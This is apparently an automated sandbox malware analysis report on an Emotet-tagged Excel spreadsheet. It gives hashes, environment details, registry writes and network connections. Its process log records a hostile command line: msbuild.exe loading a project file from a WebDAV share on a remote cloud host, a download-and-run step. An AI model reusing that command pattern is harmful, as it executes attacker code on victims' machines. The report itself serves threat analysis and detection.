Malware analysis b9a8c91ca53684394cd34b32477240a60579c89c048bafdb67cdd897606341ba.xls Malicious activity

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File name:	b9a8c91ca53684394cd34b32477240a60579c89c048bafdb67cdd897606341ba.xls
Full analysis:	https://app.any.run/tasks/d96f92a6-299b-4e90-af4b-0c9d97ebf8ed
Verdict:	Malicious activity
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Analysis date:	March 21, 2019, 02:58:51
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros emotet-doc emotet
Indicators:
MIME:	application/vnd.ms-excel
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: Brian Hitchcock, Last Saved By: Brian Hitchcock, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Aug 9 16:30:26 2018, Last Saved Time/Date: Wed Mar 20 17:16:49 2019, Security: 0
MD5:	AE38F216E93723BAA21FFDD25BD6E893
SHA1:	B457B9A7165A39A6AFEA81C7916A924E8D7A5929
SHA256:	B9A8C91CA53684394CD34B32477240A60579C89C048BAFDB67CDD897606341BA
SSDEEP:	3072:QVk3hbdlylKsgqopeJBWhZFGkE+cL2NdAhU/+WgEY5z/RO+kz5+RyexNoxhrbYLC:Gk3hbdlylKsgqopeJBWhZFVE+W2NdAgR

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Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 688)
SUSPICIOUS
No suspicious indicators.
INFO
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 688)

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No Malware configuration.

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TRiD

.xls	\|	Microsoft Excel sheet (48)
.xls	\|	Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

Author:	Brian Hitchcock
LastModifiedBy:	Brian Hitchcock
Software:	Microsoft Excel
CreateDate:	2018:08:09 15:30:26
ModifyDate:	2019:03:20 17:16:49
Security:	None
CodePage:	Windows Latin 1 (Western European)
Company:	-
AppVersion:	16
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:	Sheet1
HeadingPairs:	Worksheets 1
CompObjUserTypeLen:	31
CompObjUserType:	Microsoft Excel 2003 Worksheet

No data.

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

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Process information

PID

CMD

Path

Indicators

Parent process

688

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Excel

Exit code:

Version:

14.0.6024.1000

Modules

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c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

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"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" \\ec2-18-191-166-175.us-east-2.compute.amazonaws.com\webdav\msbuild.xml"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe

—

EXCEL.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

MSBuild.exe

Exit code:

Version:

4.6.1055.0 built by: NETFXREL2

Modules

Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll

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Total events

574

Read events

546

Write events

Delete events

Modification events


(PID) Process:	(688) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	hy2
Value: 68793200B0020000010000000000000000000000
(PID) Process:	(688) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(688) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(688) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:	write	Name:	MTTT
Value: B00200003EC1450E92DFD40100000000
(PID) Process:	(688) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete value	Name:	hy2
Value: 68793200B0020000010000000000000000000000
(PID) Process:	(688) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete key	Name:
Value:
(PID) Process:	(688) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:	delete key	Name:
Value:
(PID) Process:	(688) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(688) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(688) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F9012
Operation:	write	Name:	F9012
Value: 04000000B00200006600000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0062003900610038006300390031006300610035003300360038003400330039003400630064003300340062003300320034003700370032003400300061003600300035003700390063003800390063003000340038006200610066006400620036003700630064006400380039003700360030003600330034003100620061002E0078006C007300000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C000100000000000000E04AF50F92DFD40112900F0012900F0000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
688	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVR89C8.tmp.cvr		—
		MD5:—	SHA256:—

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

No HTTP requests

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4	System	18.191.166.175:445	ec2-18-191-166-175.us-east-2.compute.amazonaws.com	—	US	unknown
4	System	18.191.166.175:139	ec2-18-191-166-175.us-east-2.compute.amazonaws.com	—	US	unknown

DNS requests

Domain	IP	Reputation
ec2-18-191-166-175.us-east-2.compute.amazonaws.com	18.191.166.175	unknown

Threats

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No debug info

General Info

b9a8c91ca53684394cd34b32477240a60579c89c048bafdb67cdd897606341ba.xls

AE38F216E93723BAA21FFDD25BD6E893

B457B9A7165A39A6AFEA81C7916A924E8D7A5929

B9A8C91CA53684394CD34B32477240A60579C89C048BAFDB67CDD897606341BA

3072:QVk3hbdlylKsgqopeJBWhZFGkE+cL2NdAhU/+WgEY5z/RO+kz5+RyexNoxhrbYLC:Gk3hbdlylKsgqopeJBWhZFVE+W2NdAgR

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

SUSPICIOUS

INFO

Reads Microsoft Office registry keys

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

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Process information

Information

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Information

Modules

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